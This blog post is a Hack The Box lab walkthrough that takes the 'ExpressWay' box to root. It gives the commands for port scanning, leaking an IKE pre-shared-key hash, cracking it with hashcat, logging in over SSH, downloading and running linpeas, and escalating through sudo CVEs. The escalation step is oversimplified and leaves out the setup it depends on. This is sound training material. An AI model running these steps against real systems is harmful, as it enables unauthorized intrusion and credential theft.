Back to blog

Hack The Box: ExpressWay β€” Full Walkthrough

3 min read
by CyberTrick
HackTheBoxWriteupLinuxPrivilegeEscalationCybersecurityEthicalHackingCyberTrick

🧠 OVERVIEW

Target: ExpressWay (Easy Linux box)

Skills learned:

  • UDP enumeration
  • IKE/IPSec exploitation
  • Password cracking
  • Service enumeration
  • Privilege escalation (sudo CVEs)

πŸ” STEP 1: RECONNAISSANCE

Start with TCP scan:

BASH
nmap -sC -sV -p- --min-rate 2000 -Pn <TARGET_IP>
  • -sC
    β†’ Default scripts (version detection + vulnerability checks)
  • -sV
    β†’ Service/version fingerprinting
  • -p-
    β†’ Scan all 65,535 TCP ports
  • --min-rate 2000
    β†’ Speed up scanning (aggressive but reliable on HTB)
  • -Pn
    β†’ Skip host discovery (target may drop ICMP)

πŸ“Š Result

Only port 22 (SSH) open.

Looks clean… but this is misleading.


🧠 LESSON

TCP-only scanning is NOT enough.

πŸ‘‰ Always check UDP.


🌐 STEP 2: UDP SCAN

BASH
nmap -sU -p- --min-rate 1000 -Pn <TARGET_IP>

πŸ“Š Result

UDP 500 β†’ IKE service


🧠 WHY IMPORTANT

IKE is used in VPNs.

πŸ‘‰ Misconfigurations here = serious vulnerability.


πŸ’£ STEP 3: IKE AGGRESSIVE MODE ATTACK

Probe IKE:

BASH
ike-scan -A <TARGET_IP>
  • -M
    β†’ Multiline output (easier to parse)
  • -A
    β†’ Aggressive Mode (forces the server to respond with ID and HASH_R)

Extract hash:

BASH
ike-scan -A --pskcrack <TARGET_IP> > psk.log
  • --pskcrack
    β†’ Outputs the exact parameters required for cracking tools
    (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r)

Key Output:

  • ID β†’
    ike@expressway.htb
  • Raw PSK hash β†’ used for password cracking (hashcat / psk-crack)

🧠 WHAT HAPPENS

Aggressive Mode leaks PSK hash.


πŸ”“ STEP 4: CRACK PASSWORD

BASH
hashcat -m 5400 ike.hash rockyou.txt

πŸ“Š Result

Password found.


🧠 LESSON

Weak PSKs = easy compromise.


πŸ” STEP 5: INITIAL ACCESS

BASH
ssh ike@<TARGET_IP>

Password = cracked PSK


🧠 COMMON MISTAKE

Password reuse.


πŸ“‚ STEP 6: ENUMERATION

Check services:

BASH
nmap -sU -p 69 --script tftp-enum <TARGET_IP>

🧠 RESULT

Download Cisco config files (often contain more creds or network diagrams). In this box it’s a red herring for the main path, but shows thorough enum.


πŸ§ͺ STEP 7: LINPEAS

BASH
wget https://.../linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

🧠 RESULT

Key finding: Outdated sudo (vulnerable to CVE-2025-32463 and CVE-2025-32462).


⚑ STEP 8: PRIVILEGE ESCALATION

Exploit sudo vulnerability:

BASH
sudo -R /tmp/chroot /bin/sh

OR:

BASH
sudo -h target -i

🧠 WHY THIS WORKS

  • Sudo path resolution flaw
  • Hostname bypass vulnerability

πŸ‘‘ STEP 9: ROOT ACCESS

You now have root.


πŸ“‚ Get flags:

/home/ike/user.txt
/root/root.txt

🧠 FINAL LESSONS

  • Always scan UDP
  • Misconfigured VPNs are dangerous
  • Password reuse kills security
  • Enumeration is everything
  • Outdated software = easy root

πŸ”₯ FINAL MESSAGE

This is how real attackers think:

Enumerate β†’ Exploit β†’ Escalate β†’ Own